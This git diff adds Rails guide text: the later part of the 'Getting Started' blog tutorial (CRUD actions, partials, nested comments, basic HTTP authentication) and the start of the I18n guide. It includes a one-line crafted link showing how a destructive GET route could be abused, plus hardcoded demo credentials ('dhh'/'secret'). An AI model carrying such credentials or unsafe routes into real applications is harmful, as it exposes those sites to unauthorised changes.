+With the validation now in place, when you call +@post.save+ on an invalid
+post, it will return +false+. If you open +app/controllers/posts_controller.rb+
+again, you'll notice that we don't check the result of calling +@post.save+
+inside the +create+ action. If +@post.save+ fails in this situation, we need to
+show the form back to the user. To do this, change the +new+ and +create+
+actions inside +app/controllers/posts_controller.rb+ to these:
+
+<ruby>
+def new
+  @post = Post.new
+end
+
+def create
+  @post = Post.new(params[:post])
+
+  if @post.save
+    redirect_to :action => :show, :id => @post.id
+  else
+    render 'new'
+  end
+end
+</ruby>
+
+The +new+ action is now creating a new instance variable called +@post+, and
+you'll see why that is in just a few moments.
+
+Notice that inside the +create+ action we use +render+ instead of +redirect_to+ when +save+
+returns +false+. The +render+ method is used so that the +@post+ object is passed back to the +new+ template when it is rendered. This rendering is done within the same request as the form submission, whereas the +redirect_to+ will tell the browser to issue another request.
+
+If you reload
+"http://localhost:3000/posts/new":http://localhost:3000/posts/new and
+try to save a post without a title, Rails will send you back to the
+form, but that's not very useful. You need to tell the user that
+something went wrong. To do that, you'll modify
++app/views/posts/new.html.erb+ to check for error messages:
+
+<erb>
+<%= form_for :post, :url => { :action => :create } do |f| %>
+  <% if @post.errors.any? %>
+  <div id="errorExplanation">
+    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+	    this post from being saved:</h2>
+    <ul>
+    <% @post.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', :action => :index %>
+</erb>
+
+A few things are going on. We check if there are any errors with
++@post.errors.any?+, and in that case we show a list of all
+errors with +@post.errors.full_messages+.
+
++pluralize+ is a rails helper that takes a number and a string as its
+arguments. If the number is greater than one, the string will be automatically pluralized.
+
+The reason why we added +@post = Post.new+ in +posts_controller+ is that
+otherwise +@post+ would be +nil+ in our view, and calling
++@post.errors.any?+ would throw an error.
+
+TIP: Rails automatically wraps fields that contain an error with a div
+with class +field_with_errors+. You can define a css rule to make them
+standout.
+
+Now you'll get a nice error message when saving a post without title when you
+attempt to do just that on the "new post form(http://localhost:3000/posts/new)":http://localhost:3000/posts/new.
+
+!images/getting_started/form_with_errors.png(Form With Errors)!
+
+h4. Updating Posts
+
+We've covered the "CR" part of CRUD. Now let's focus on the "U" part,
+updating posts.
+
+The first step we'll take is adding a +edit+ action to
++posts_controller+.
+
+Start by adding a route to +config/routes.rb+:
+
+<ruby>
+get "posts/:id/edit" => "posts#edit"
+</ruby>
+
+And then add the controller action:
+
+<ruby>
+def edit
+  @post = Post.find(params[:id])
+end
+</ruby>
+
+The view will contain a form similar to the one we used when creating
+new posts. Create a file called +app/views/posts/edit.html.erb+ and make
+it look as follows:
+
+<erb>
+<h1>Editing post</h1>
+
+<%= form_for :post, :url => { :action => :update, :id => @post.id },
+:method => :put do |f| %>
+  <% if @post.errors.any? %>
+  <div id="errorExplanation">
+    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+	    this post from being saved:</h2>
+    <ul>
+    <% @post.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', :action => :index %>
+</erb>
+
+This time we point the form to the +update+ action, which is not defined yet
+but will be very soon.
+
+The +:method => :put+ option tells Rails that we want this form to be
+submitted via the +PUT+, HTTP method which is the HTTP method you're expected to use to
+*update* resources according to the REST protocol.
+
+TIP: By default forms built with the +form_for_ helper are sent via +POST+.
+
+Next, we need to add the +update+ action. The file
++config/routes.rb+ will need just one more line:
+
+<ruby>
+put "posts/:id" => "posts#update"
+</ruby>
+
+And then create the +update+ action in +app/controllers/posts_controller.rb+:
+
+<ruby>
+def update
+  @post = Post.find(params[:id])
+
+  if @post.update_attributes(params[:post])
+    redirect_to :action => :show, :id => @post.id
+  else
+    render 'edit'
+  end
+end
+</ruby>
+
+The new method, +update_attributes+, is used when you want to update a record
+that already exists, and it accepts a hash containing the attributes
+that you want to update. As before, if there was an error updating the
+post we want to show the form back to the user.
+
+TIP: you don't need to pass all attributes to +update_attributes+. For
+example, if you'd call +@post.update_attributes(:title => 'A new title')+
+Rails would only update the +title+ attribute, leaving all other
+attributes untouched.
+
+Finally, we want to show a link to the +edit+ action in the list of all the
+posts, so let's add that now to +app/views/posts/index.html.erb+ to make it
+appear next to the "Show" link:
+
+<erb>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th></th>
+    <th></th>
+  </tr>
+
+<% @posts.each do |post| %>
+  <tr>
+    <td><%= post.title %></td>
+    <td><%= post.text %></td>
+    <td><%= link_to 'Show', :action => :show, :id => post.id %></td>
+    <td><%= link_to 'Edit', :action => :edit, :id => post.id %></td>
+  </tr>
+<% end %>
+</table>
+</erb>
+
+And we'll also add one to the +app/views/posts/show.html.erb+ template as well,
+so that there's also an "Edit" link on a post's page. Add this at the bottom of
+the template:
+
+<erb>
+...
+
+
+<%= link_to 'Back', :action => :index %>
+| <%= link_to 'Edit', :action => :edit, :id => @post.id %>
+</erb>
+
+And here's how our app looks so far:
+
+!images/getting_started/index_action_with_edit_link.png(Index action
+with edit link)!
+
+h4. Using partials to clean up duplication in views
+
++partials+ are what Rails uses to remove duplication in views. Here's a
+simple example:
+
+<erb>
+# app/views/user/show.html.erb
+
+<h1><%= @user.name %></h1>
+
+<%= render 'user_details' %>
+
+# app/views/user/_user_details.html.erb
+
+<%= @user.location %>
+
+<%= @user.about_me %>
+</erb>
+
+The +users/show+ template will automatically include the content of the
++users/_user_details+ template. Note that partials are prefixed by an underscore,
+as to not be confused with regular views. However, you don't include the
+underscore when including them with the +helper+ method.
+
+TIP: You can read more about partials in the "Layouts and Rendering in
+Rails":layouts_and_rendering.html guide.
+
+Our +edit+ action looks very similar to the +new+ action, in fact they
+both share the same code for displaying the form. Lets clean them up by
+using a partial.
+
+Create a new file +app/views/posts/_form.html.erb+ with the following
+content:
+
+<erb>
+<%= form_for @post do |f| %>
+  <% if @post.errors.any? %>
+  <div id="errorExplanation">
+    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+      this post from being saved:</h2>
+    <ul>
+    <% @post.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+</erb>
+
+Everything except for the +form_for+ declaration remained the same.
+How +form_for+ can figure out the right +action+ and +method+ attributes
+when building the form will be explained in just a moment. For now, let's update the
++app/views/posts/new.html.erb+ view to use this new partial, rewriting it
+completely:
+
+<erb>
+<h1>New post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', :action => :index %>
+</erb>
+
+Then do the same for the +app/views/posts/edit.html.erb+ view:
+
+<erb>
+<h1>Edit post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', :action => :index %>
+</erb>
+
+Point your browser to "http://localhost:3000/posts/new":http://localhost:3000/posts/new and
+try creating a new post. Everything still works. Now try editing the
+post and you'll receive the following error:
+
+!images/getting_started/undefined_method_post_path.png(Undefined method
+post_path)!
+
+To understand this error, you need to understand how +form_for+ works.
+When you pass an object to +form_for+ and you don't specify a +:url+
+option, Rails will try to guess the +action+ and +method+ options by
+checking if the passed object is a new record or not. Rails follows the
+REST convention, so to create a new +Post+ object it will look for a
+route named +posts_path+, and to update a +Post+ object it will look for
+a route named +post_path+ and pass the current object. Similarly, rails
+knows that it should create new objects via POST and update them via
+PUT.
+
+If you run +rake routes+ from the console you'll see that we already
+have a +posts_path+ route, which was created automatically by Rails when we
+defined the route for the index action.
+However, we don't have a +post_path+ yet, which is the reason why we
+received an error before.
+
+<shell>
+# rake routes
+
+    posts GET  /posts(.:format)            posts#index
+posts_new GET  /posts/new(.:format)        posts#new
+          POST /posts(.:format)            posts#create
+          GET  /posts/:id(.:format)        posts#show
+          GET  /posts/:id/edit(.:format)   posts#edit
+          PUT  /posts/:id(.:format)        posts#update
+     root      /                           welcome#index
+</shell>
+
+To fix this, open +config/routes.rb+ and modify the +get "posts/:id"+
+line like this:
+
+<ruby>
+get "posts/:id" => "posts#show", :as => :post
+</ruby>
+
+The +:as+ option tells the +get+ method that we want to make routing helpers
+called +post_url+ and +post_path+ available to our application. These are
+precisely the methods that the +form_for+ needs when editing a post, and so now
+you'll be able to update posts again.
+
+NOTE: The +:as+ option is available on the +post+, +put+, +delete+ and +match+
+routing methods also.
+
+h4. Deleting Posts
+
+We're now ready to cover the "D" part of CRUD, deleting posts from the
+database. Following the REST convention, we're going to add a route for
+deleting posts to +config/routes.rb+:
+
+<ruby>
+delete "posts/:id" => "posts#destroy"
+</ruby>
+
+The +delete+ routing method should be used for routes that destroy
+resources. If this was left as a typical +get+ route, it could be possible for
+people to craft malicious URLs like this:
+
+<html>
+<a href='http://yoursite.com/posts/1/destroy'>look at this cat!</a>
+</html>
+
+We use the +delete+ method for destroying resources, and this route is mapped to
+the +destroy+ action inside +app/controllers/posts_controller.rb+, which doesn't exist yet, but is
+provided below:
+
+<ruby>
+def destroy
+  @post = Post.find(params[:id])
+  @post.destroy
+
+  redirect_to :action => :index
+end
+</ruby>
+
+You can call +destroy+ on Active Record objects when you want to delete
+them from the database. Note that we don't need to add a view for this
+action since we're redirecting to the +index+ action.
+
+Finally, add a 'destroy' link to your +index+ action template
+(+app/views/posts/index.html.erb) to wrap everything
+together.
+
+<erb>
+<h1>Listing Posts</h1>
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th></th>
+    <th></th>
+    <th></th>
+  </tr>
+
+<% @posts.each do |post| %>
+  <tr>
+    <td><%= post.title %></td>
+    <td><%= post.text %></td>
+    <td><%= link_to 'Show', :action => :show, :id => post.id %></td>
+    <td><%= link_to 'Edit', :action => :edit, :id => post.id %></td>
+    <td><%= link_to 'Destroy', { :action => :destroy, :id => post.id }, :method => :delete, :data => { :confirm => 'Are you sure?' } %></td>
+  </tr>
+<% end %>
+</table>
+</erb>
+
+Here we're using +link_to+ in a different way. We wrap the
++:action+ and +:id+ attributes in a hash so that we can pass those two keys in
+first as one argument, and then the final two keys as another argument. The +:method+ and +:'data-confirm'+
+options are used as HTML5 attributes so that when the link is clicked,
+Rails will first show a confirm dialog to the user, and then submit the link with method +delete+.
+This is done via the JavaScript file +jquery_ujs+ which is automatically included
+into your application's layout (+app/views/layouts/application.html.erb+) when you
+generated the application. Without this file, the confirmation dialog box wouldn't appear.
+
+!images/getting_started/confirm_dialog.png(Confirm Dialog)!
+
+Congratulations, you can now create, show, list, update and destroy
+posts. In the next section will see how Rails can aid us when creating
+REST applications, and how we can refactor our Blog app to take
+advantage of it.
+
+h4. Going Deeper into REST
+
+We've now covered all the CRUD actions of a REST app. We did so by
+declaring separate routes with the appropriate verbs into
++config/routes.rb+. Here's how that file looks so far:
+
+<ruby>
+get "posts" => "posts#index"
+get "posts/new"
+post "posts" => "posts#create"
+get "posts/:id" => "posts#show", :as => :post
+get "posts/:id/edit" => "posts#edit"
+put "posts/:id" => "posts#update"
+delete "posts/:id" => "posts#destroy"
+</ruby>
+
+That's a lot to type for covering a single *resource*. Fortunately,
+Rails provides a +resources+ method which can be used to declare a
+standard REST resource. Here's how +config/routes.rb+ looks after the
+cleanup:
+
+<ruby>
+Blog::Application.routes.draw do
+
+  resources :posts
+
+  root :to => "welcome#index"
+end
+</ruby>
+
+If you run +rake routes+, you'll see that all the routes that we
+declared before are still available:
+
+<shell>
+# rake routes
+    posts GET    /posts(.:format)          posts#index
+          POST   /posts(.:format)          posts#create
+ new_post GET    /posts/new(.:format)      posts#new
+edit_post GET    /posts/:id/edit(.:format) posts#edit
+     post GET    /posts/:id(.:format)      posts#show
+          PUT    /posts/:id(.:format)      posts#update
+          DELETE /posts/:id(.:format)      posts#destroy
+     root        /                         welcome#index
+</shell>
+
+Also, if you go through the motions of creating, updating and deleting
+posts the app still works as before.
+
+TIP: In general, Rails encourages the use of resources objects in place
+of declaring routes manually. It was only done in this guide as a learning
+exercise. For more information about routing, see
+"Rails Routing from the Outside In":routing.html.
+
+h3. Adding a Second Model
+
+It's time to add a second model to the application. The second model will handle comments on
+posts.
+
+h4. Generating a Model
+
+We're going to see the same generator that we used before when creating
+the +Post+ model. This time we'll create a +Comment+ model to hold
+reference of post comments. Run this command in your terminal:
+
+<shell>
+$ rails generate model Comment commenter:string body:text post:references
+</shell>
+
+This command will generate four files:
+
+|_.File                                       |_.Purpose|
+|db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| app/models/comment.rb                       | The Comment model |
+| test/unit/comment_test.rb                   | Unit testing harness for the comments model |
+| test/fixtures/comments.yml                  | Sample comments for use in testing |
+
+First, take a look at +comment.rb+:
+
+<ruby>
+class Comment < ActiveRecord::Base
+  belongs_to :post
+  attr_accessible :body, :commenter
+end
+</ruby>
+
+This is very similar to the +post.rb+ model that you saw earlier. The difference
+is the line +belongs_to :post+, which sets up an Active Record _association_.
+You'll learn a little about associations in the next section of this guide.
+
+In addition to the model, Rails has also made a migration to create the
+corresponding database table:
+
+<ruby>
+class CreateComments < ActiveRecord::Migration
+  def change
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+      t.references :post
+
+      t.timestamps
+    end
+
+    add_index :comments, :post_id
+  end
+end
+</ruby>
+
+The +t.references+ line sets up a foreign key column for the association between
+the two models. And the +add_index+ line sets up an index for this association
+column. Go ahead and run the migration:
+
+<shell>
+$ rake db:migrate
+</shell>
+
+Rails is smart enough to only execute the migrations that have not already been
+run against the current database, so in this case you will just see:
+
+<shell>
+==  CreateComments: migrating =================================================
+-- create_table(:comments)
+   -> 0.0008s
+-- add_index(:comments, :post_id)
+   -> 0.0003s
+==  CreateComments: migrated (0.0012s) ========================================
+</shell>
+
+h4. Associating Models
+
+Active Record associations let you easily declare the relationship between two
+models. In the case of comments and posts, you could write out the relationships
+this way:
+
+* Each comment belongs to one post.
+* One post can have many comments.
+
+In fact, this is very close to the syntax that Rails uses to declare this
+association. You've already seen the line of code inside the Comment model that
+makes each comment belong to a Post:
+
+<ruby>
+class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+</ruby>
+
+You'll need to edit the +post.rb+ file to add the other side of the association:
+
+<ruby>
+class Post < ActiveRecord::Base
+  validates :title, :presence => true,
+                    :length => { :minimum => 5 }
+
+  has_many :comments
+end
+</ruby>
+
+These two declarations enable a good bit of automatic behavior. For example, if
+you have an instance variable +@post+ containing a post, you can retrieve all
+the comments belonging to that post as an array using +@post.comments+.
+
+TIP: For more information on Active Record associations, see the "Active Record
+Associations":association_basics.html guide.
+
+h4. Adding a Route for Comments
+
+As with the +welcome+ controller, we will need to add a route so that Rails knows
+where we would like to navigate to see +comments+. Open up the
++config/routes.rb+ file again, and edit it as follows:
+
+<ruby>
+resources :posts do
+  resources :comments
+end
+</ruby>
+
+This creates +comments+ as a _nested resource_ within +posts+. This is another
+part of capturing the hierarchical relationship that exists between posts and
+comments.
+
+TIP: For more information on routing, see the "Rails Routing from the Outside
+In":routing.html guide.
+
+h4. Generating a Controller
+
+With the model in hand, you can turn your attention to creating a matching
+controller. Again, we'll use the same generator we used before:
+
+<shell>
+$ rails generate controller Comments
+</shell>
+
+This creates six files and one empty directory:
+
+|_.File/Directory                             |_.Purpose                                 |
+| app/controllers/comments_controller.rb      | The Comments controller                  |
+| app/views/comments/                         | Views of the controller are stored here  |
+| test/functional/comments_controller_test.rb | The functional tests for the controller  |
+| app/helpers/comments_helper.rb              | A view helper file                       |
+| test/unit/helpers/comments_helper_test.rb   | The unit tests for the helper            |
+| app/assets/javascripts/comment.js.coffee    | CoffeeScript for the controller          |
+| app/assets/stylesheets/comment.css.scss     | Cascading style sheet for the controller |
+
+Like with any blog, our readers will create their comments directly after
+reading the post, and once they have added their comment, will be sent back to
+the post show page to see their comment now listed. Due to this, our
++CommentsController+ is there to provide a method to create comments and delete
+spam comments when they arrive.
+
+So first, we'll wire up the Post show template
+(+/app/views/posts/show.html.erb+) to let us make a new comment:
+
+<erb>
+<p>
+  <strong>Title:</strong>
+  <%= @post.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @post.text %>
+</p>
+
+<h2>Add a comment:</h2>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+</erb>
+
+This adds a form on the +Post+ show page that creates a new comment by
+calling the +CommentsController+ +create+ action. The +form_for+ call here uses
+an array, which will build a nested route, such as +/posts/1/comments+.
+
+Let's wire up the +create+:
+
+<ruby>
+class CommentsController < ApplicationController
+  def create
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.create(params[:comment])
+    redirect_to post_path(@post)
+  end
+end
+</ruby>
+
+You'll see a bit more complexity here than you did in the controller for posts.
+That's a side-effect of the nesting that you've set up. Each request for a
+comment has to keep track of the post to which the comment is attached, thus the
+initial call to the +find+ method of the +Post+ model to get the post in question.
+
+In addition, the code takes advantage of some of the methods available for an
+association. We use the +create+ method on +@post.comments+ to create and save
+the comment. This will automatically link the comment so that it belongs to that
+particular post.
+
+Once we have made the new comment, we send the user back to the original post
+using the +post_path(@post)+ helper. As we have already seen, this calls the
++show+ action of the +PostsController+ which in turn renders the +show.html.erb+
+template. This is where we want the comment to show, so let's add that to the
++app/views/posts/show.html.erb+.
+
+<erb>
+<p>
+  <strong>Title:</strong>
+  <%= @post.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<% @post.comments.each do |comment| %>
+  <p>
+    <strong>Commenter:</strong>
+    <%= comment.commenter %>
+  </p>
+
+  <p>
+    <strong>Comment:</strong>
+    <%= comment.body %>
+  </p>
+<% end %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+</erb>
+
+Now you can add posts and comments to your blog and have them show up in the
+right places.
+
+!images/getting_started/post_with_comments.png(Post with Comments)!
+
+h3. Refactoring
+
+Now that we have posts and comments working, take a look at the
++app/views/posts/show.html.erb+ template. It is getting long and awkward. We can
+use partials to clean it up.
+
+h4. Rendering Partial Collections
+
+First, we will make a comment partial to extract showing all the comments for the
+post. Create the file +app/views/comments/_comment.html.erb+ and put the
+following into it:
+
+<erb>
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+</erb>
+
+Then you can change +app/views/posts/show.html.erb+ to look like the
+following:
+
+<erb>
+<p>
+  <strong>Title:</strong>
+  <%= @post.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @post.comments %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+</erb>
+
+This will now render the partial in +app/views/comments/_comment.html.erb+ once
+for each comment that is in the +@post.comments+ collection. As the +render+
+method iterates over the <tt>@post.comments</tt> collection, it assigns each
+comment to a local variable named the same as the partial, in this case
++comment+ which is then available in the partial for us to show.
+
+h4. Rendering a Partial Form
+
+Let us also move that new comment section out to its own partial. Again, you
+create a file +app/views/comments/_form.html.erb+ containing:
+
+<erb>
+<%= form_for([@post, @post.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+</erb>
+
+Then you make the +app/views/posts/show.html.erb+ look like the following:
+
+<erb>
+<p>
+  <strong>Title:</strong>
+  <%= @post.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @post.text %>
+</p>
+
+<h2>Add a comment:</h2>
+<%= render "comments/form" %>
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
+</erb>
+
+The second render just defines the partial template we want to render,
+<tt>comments/form</tt>. Rails is smart enough to spot the forward slash in that
+string and realize that you want to render the <tt>_form.html.erb</tt> file in
+the <tt>app/views/comments</tt> directory.
+
+The +@post+ object is available to any partials rendered in the view because we
+defined it as an instance variable.
+
+h3. Deleting Comments
+
+Another important feature of a blog is being able to delete spam comments. To do
+this, we need to implement a link of some sort in the view and a +DELETE+ action
+in the +CommentsController+.
+
+So first, let's add the delete link in the
++app/views/comments/_comment.html.erb+ partial:
+
+<erb>
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+<p>
+  <%= link_to 'Destroy Comment', [comment.post, comment],
+               :method => :delete,
+               :data => { :confirm => 'Are you sure?' } %>
+</p>
+</erb>
+
+Clicking this new "Destroy Comment" link will fire off a <tt>DELETE
+/posts/:id/comments/:id</tt> to our +CommentsController+, which can then use
+this to find the comment we want to delete, so let's add a destroy action to our
+controller:
+
+<ruby>
+class CommentsController < ApplicationController
+
+  def create
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.create(params[:comment])
+    redirect_to post_path(@post)
+  end
+
+  def destroy
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.find(params[:id])
+    @comment.destroy
+    redirect_to post_path(@post)
+  end
+
+end
+</ruby>
+
+The +destroy+ action will find the post we are looking at, locate the comment
+within the <tt>@post.comments</tt> collection, and then remove it from the
+database and send us back to the show action for the post.
+
+
+h4. Deleting Associated Objects
+
+If you delete a post then its associated comments will also need to be deleted.
+Otherwise they would simply occupy space in the database. Rails allows you to
+use the +dependent+ option of an association to achieve this. Modify the Post
+model, +app/models/post.rb+, as follows:
+
+<ruby>
+class Post < ActiveRecord::Base
+  validates :title, :presence => true,
+                    :length => { :minimum => 5 }
+  has_many :comments, :dependent => :destroy
+end
+</ruby>
+
+h3. Security
+
+If you were to publish your blog online, anybody would be able to add, edit and
+delete posts or delete comments.
+
+Rails provides a very simple HTTP authentication system that will work nicely in
+this situation.
+
+In the +PostsController+ we need to have a way to block access to the various
+actions if the person is not authenticated, here we can use the Rails
+<tt>http_basic_authenticate_with</tt> method, allowing access to the requested
+action if that method allows it.
+
+To use the authentication system, we specify it at the top of our
++PostsController+, in this case, we want the user to be authenticated on every
+action, except for +index+ and +show+, so we write that:
+
+<ruby>
+class PostsController < ApplicationController
+
+  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show]
+
+  def index
+    @posts = Post.all
+# snipped for brevity
+</ruby>
+
+We also only want to allow authenticated users to delete comments, so in the
++CommentsController+ we write:
+
+<ruby>
+class CommentsController < ApplicationController
+
+  http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
+
+  def create
+    @post = Post.find(params[:post_id])
+# snipped for brevity
+</ruby>
+
+Now if you try to create a new post, you will be greeted with a basic HTTP
+Authentication challenge
+
+!images/challenge.png(Basic HTTP Authentication Challenge)!
+
+h3. What's Next?
+
+Now that you've seen your first Rails application, you should feel free to
+update it and experiment on your own. But you don't have to do everything
+without help. As you need assistance getting up and running with Rails, feel
+free to consult these support resources:
+
+* The "Ruby on Rails guides":index.html
+* The "Ruby on Rails Tutorial":http://railstutorial.org/book
+* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk
+* The "#rubyonrails":irc://irc.freenode.net/#rubyonrails channel on irc.freenode.net
+
+Rails also comes with built-in help that you can generate using the rake command-line utility:
+
+* Running +rake doc:guides+ will put a full copy of the Rails Guides in the +doc/guides+ folder of your application. Open +doc/guides/index.html+ in your web browser to explore the Guides.
+* Running +rake doc:rails+ will put a full copy of the API documentation for Rails in the +doc/api+ folder of your application. Open +doc/api/index.html+ in your web browser to explore the API documentation.
+
+h3. Configuration Gotchas
+
+The easiest way to work with Rails is to store all external data as UTF-8. If
+you don't, Ruby libraries and Rails will often be able to convert your native
+data into UTF-8, but this doesn't always work reliably, so you're better off
+ensuring that all external data is UTF-8.
+
+If you have made a mistake in this area, the most common symptom is a black
+diamond with a question mark inside appearing in the browser. Another common
+symptom is characters like "ü" appearing instead of "ü". Rails takes a number
+of internal steps to mitigate common causes of these problems that can be
+automatically detected and corrected. However, if you have external data that is
+not stored as UTF-8, it can occasionally result in these kinds of issues that
+cannot be automatically detected by Rails and corrected.
+
+Two very common sources of data that are not UTF-8:
+* Your text editor: Most text editors (such as Textmate), default to saving files as
+  UTF-8. If your text editor does not, this can result in special characters that you
+  enter in your templates (such as é) to appear as a diamond with a question mark inside
+  in the browser. This also applies to your I18N translation files.
+  Most editors that do not already default to UTF-8 (such as some versions of
+  Dreamweaver) offer a way to change the default to UTF-8. Do so.
+* Your database. Rails defaults to converting data from your database into UTF-8 at
+  the boundary. However, if your database is not using UTF-8 internally, it may not
+  be able to store all characters that your users enter. For instance, if your database
+  is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
+  character, the data will be lost forever once it enters the database. If possible,
+  use UTF-8 as the internal storage of your database.
diff --git a/guides/source/i18n.textile b/guides/source/i18n.textile
new file mode 100644
index 0000000000..67863e590c
--- /dev/null
+++ b/guides/source/i18n.textile
@@ -0,0 +1,951 @@
+h2. Rails Internationalization (I18n) API
+
+The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application.
+
+The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]
+
+So, in the process of _internationalizing_ your Rails application you have to:
+
+* Ensure you have support for i18n
+* Tell Rails where to find locale dictionaries
+* Tell Rails how to set, preserve and switch locales
+
+In the process of _localizing_ your application you'll probably want to do the following three things:
+
+* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc.
+* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc.
+* Store the resulting dictionaries somewhere
+
+This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
+
+endprologue.
+
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
+
+h3. How I18n in Ruby on Rails Works
+
+Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
+
+* providing support for English and similar languages out of the box
+* making it easy to customize and extend everything for other languages
+
+As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
+
+h4. The Overall Architecture of the Library
+
+Thus, the Ruby I18n gem is split into two parts:
+
+* The public API of the i18n framework -- a Ruby module with public methods that define how the library works
+* A default backend (which is intentionally named _Simple_ backend) that implements these methods
+
+As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
+
+NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below.
+
+h4. The Public I18n API
+
+The most important methods of the I18n API are:
+
+<ruby>
+translate # Lookup text translations
+localize  # Localize Date and Time objects to local formats
+</ruby>
+
+These have the aliases #t and #l so you can use them like this:
+
+<ruby>
+I18n.t 'store.title'
+I18n.l Time.now
+</ruby>
+
+There are also attribute readers and writers for the following attributes:
+
+<ruby>
+load_path         # Announce your custom translation files
+locale            # Get and set the current locale
+default_locale    # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend           # Use a different backend
+</ruby>
+
+So, let's internationalize a simple Rails application from the ground up in the next chapters!
+
+h3. Setup the Rails Application for Internationalization
+
+There are just a few simple steps to get up and running with I18n support for your application.
+
+h4. Configure the I18n Module
+
+Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
+
+Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically.
+
+The default +en.yml+ locale in this directory contains a sample pair of translation strings:
+
+<ruby>
+en:
+  hello: "Hello world"
+</ruby>
+
